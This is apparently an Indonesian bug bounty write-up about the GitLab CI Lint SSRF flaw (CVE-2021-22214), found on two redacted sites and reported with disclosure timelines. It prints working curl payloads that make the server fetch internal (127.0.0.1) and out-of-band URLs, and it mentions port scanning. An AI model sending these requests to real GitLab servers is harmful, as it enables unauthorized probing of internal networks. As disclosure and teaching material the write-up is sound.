Dalam melanjutkan pencarian dan pembelajaran, di suatu hari, saya menemukan celah pada beberapa website lokal. Berikut adalah write up serta tanggapan dari tim IT yang bersangkutan.
Reconnaissance
Selalu, hal pertama yang dilakukan adalah reconnaissance pada beberapa website lokal, saya melakukannya menggunakan tools rEngine. Tools yang sangat saya rekomendasikan dalam melakukan bug bounty. Beberapa waktu kemudian, rEngine menemukan sebuah celah dengan tingkat kerentanan tinggi, yaitu GitLab SSRF (CVE-2021-22214). SSRF, menarik.
Unauthenticated Gitlab CI Lint API SSRF CVE-2021-22214
Celah ini pertama kali ditemukan oleh user hackerone vin01. Dengan memanfaatkan celah pada CI Lint API milik Gitlab, attacker dapat melakukan Server-side Request Forgery (SSRF).
CI Lint API
CI Lint merupakan API Gitlab untuk mengecek atau memvalidasi konfigurasi CI/CD YAML.
Request:
curl --header "Content-Type: application/json" --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/ci/lint" --data '{"content": "{ \"image\": \"ruby:2.6\", \"services\": [\"postgres\"], \"before_script\": [\"bundle install\", \"bundle exec rake db:create\"], \"variables\": {\"DB_NAME\": \"postgres\"}, \"types\": [\"test\", \"deploy\", \"notify\"], \"rspec\": { \"script\": \"rake spec\", \"tags\": [\"ruby\", \"postgres\"], \"only\": [\"branches\"]}}"}'
Response:
{
"status": "valid",
"errors": [],
"warnings": []
}
Remote YAML includes
file konfigurasi CI untuk Gitlab adalah berformat YAML dan dapat menggunakan tag include
untuk menyertakan (men-include-kan) template YAML dari remote URL
include:
- 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml'
Server-side Request Forgery (SSRF)
Server-side request forgery (SSRF) merupakan celah pada server yang mengijinkan attacker melakukan HTTP request ke website atau domain lain semaunya. Mudahnya, seorang attacker dapat membuat sebuah server mengakses website atau domain tertentu. Umumnya, server tidak dapat atau tidak boleh melakukan request HTTP tanpa otorisasi.
Celah pada gitlab adalah kita dapat melakukan POST pada endpoint /api/v4/ci/lint
dengan menyertakan tag include
tadi.
Request:
curl -s --show-error -H 'Content-Type: application/json' https://gitlab.example.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:\n remote: http://127.0.0.1:9090/api/v1/targets?test.yml" }'
Response:
{"status":"invalid","errors":["jobs status config should implement a script: or a trigger: keyword","jobs data config should implement a script: or a trigger: keyword","jobs config should contain at least one visible job"],"warnings":[],"merged_yaml":"---\nstatus: success\ndata:\n activeTargets:\n - discoveredLabels:\n __address__: ...
Catatan: test.yml
merupakan part penting dalam payload ini karena API hanya menerima ekstensi .yml
untuk validasi remote YAML.
Celah ini akan menjadi berbahaya jika internal network request diaktifkan (secara default di non-aktifkan). Jika diaktifkan, maka kita dapat memanfaatkan celah ini untuk melakukan local port scanning.
Temuan
Seperti yang sudah saya sebutkan diawal bahwa saya melakukan pemindaian terhadap beberapa website lokal, dan saya menemukan setidaknya 2 website yang memiliki domain gitlab. Kedua website tidak ingin saya menyebutkan apapun tentang mereka, maka saya akan menggunakan alias.
Case 1: Temuan pada redacted-satu.com
Saya melakukan curl berikut
curl -s --show-error -H 'Content-Type: application/json' --data '{ "include_merged_yaml": true, "content": "include:\n remote: https://IP-OOB/api/v1/targets?test.yml"}' https://redacted-satu.com/api/v4/ci/lint -k
IP-OOB merupakan IP out-of-band, kali ini saya menggunakan interactsh karena mudah dan tidak perlu berbayar seperti burpcollabolator.
Dan, hit. Terlihat sebuah DNSLog pada interactsh.
Segera saya laporkan ke tim terkait
Timeline
- 16 September 2021 - Laporan dikirim
- 17 September 2021 - Laporan diterima dan sedang divalidasi
- 23 September 2021 - Temuan valid, celah terkait dengan aplikasi gitlab. Mereka mengapresiasi dan akan mengirimkan merchandise (yeay, Alhamdulillah). Saya menanyakan severity temuan ini berdasarkan assesment tim IT mereka.
- 24 September 2021 - Mereka mengklasifikasikan temuan ini sebagai medium karena tidak merusak atau terkait dengan produksi. Saya terima saja, toh memang saya tidak mengeksploit lebih jauh. Case closed.
Beberapa hari kemudian saya merchandisenya sudah sampai di rumah.
Case 2: Temuan pada redacted-dua.com
Sama seperti temuan pada redacted-satu.com, saya menemukannya dalam waktu yang berdekatan, jadi saya laporkan setelah proof-of-concept yang lengkap sampai dengan DNSLog hit.
Timeline
- 21 September 2021 - Laporan dikirim
- 22 September 2021 - Laporan diterima, dimintakan proof of concept (POC) berupa dokumen dan video. Saya kirim saat itu juga.
- 23 September 2021 - Mereka meminta saya untuk menunjukan dampak yang lebih serius, karena berdasarkan investigasi internal mereka kategorikan temuan ini sebagai External SRRF (informative - out of scope). Well said. External SSRF merupakan SSRF dengan dampak paling minimal (low). Sayapun mencoba berbagai cara untuk mengeksploitasi temuan ini, seperti melakukan request menuju
localhost (192.0.0.1)
namun semua payload yang saya gunakan gagal. - 27 September 2021 - Setelah beberapa hari mencoba meng eksploitasi temuan saya ini dan gagal, saya sampai pada kesimpulan dan berargumen bahwa internal network request dalam keadaan non-aktif sehingga saya tidak dapat memanfaatkan temuan ini untuk melakukan request menuju localhost, namun jika suatu saat diaktifkan, maka celah ini akan meningkat severity-nya, sehingga menurut saya celah ini tetap perlu diperbaiki.
- 03 Oktober 2021 - Setelah diskusi internal mereka, mereka tetap pada pendirian bahwa severity tidak berubah, saran perbaikan diterima. Fair enough. Saya juga tidak bisa membuktikan kerentanan yang lebih serius. Maka saya sepakat untuk menutup issue ini. Case closed.
- 08 Oktober 2021 - Mereka menanyakan KTP untuk memberikan sertifikat apresiasi karena sudah bertindak secara etis dan profesional dalam melaporkan temuan ini. Alhamdulillah.
- 13 Oktober 2021 - Sertifikat disampaikan via email
Lesson learned
Ini adalah kali pertama saya menemukan bug pada sebuah website. Banyak pelajaran dan hikmah selama prosesnya.
Saya jadi belajar bahwa setelah menemukan bug, jangan tergesa-gesa melaporkan, pelajari lebih jauh, eksplorasi lagi, mungkin ada celah lain yang dapat dimanfaatkan (chain of bugs) dan dapat meningkatkan dampak celah yang kita temukan. Gunakan bahasa yang sopan, well mannered, dan profesional dalam menulis laporan. Selalu sertakan proof of concept, no POC no bounty. Utamakan profesionalitas, jangan terlalu menekan pemilik website atau tim security website terkait, biasa saja. Utamakan ilmu dibanding dengan bounty. Setelah ilmu mencukupi, bounty akan mengikuti.
Terima kasih
Semua pengalaman saya di atas tidak akan terjadi tanpa-Nya. Segala puja dan puji hanya untuk-Nya. Tidak lupa juga untuk teman sekaligus mentor saya selama ini, yang selama diskusi dengan tim security terkait ia selalu membantu memberikan insight. Terakhir terima kasih kepada tim IT redacted-satu.com dan redacted-dua.com yang tidak ingin disebutkan yang dengan sabar berdiskusi dengan saya.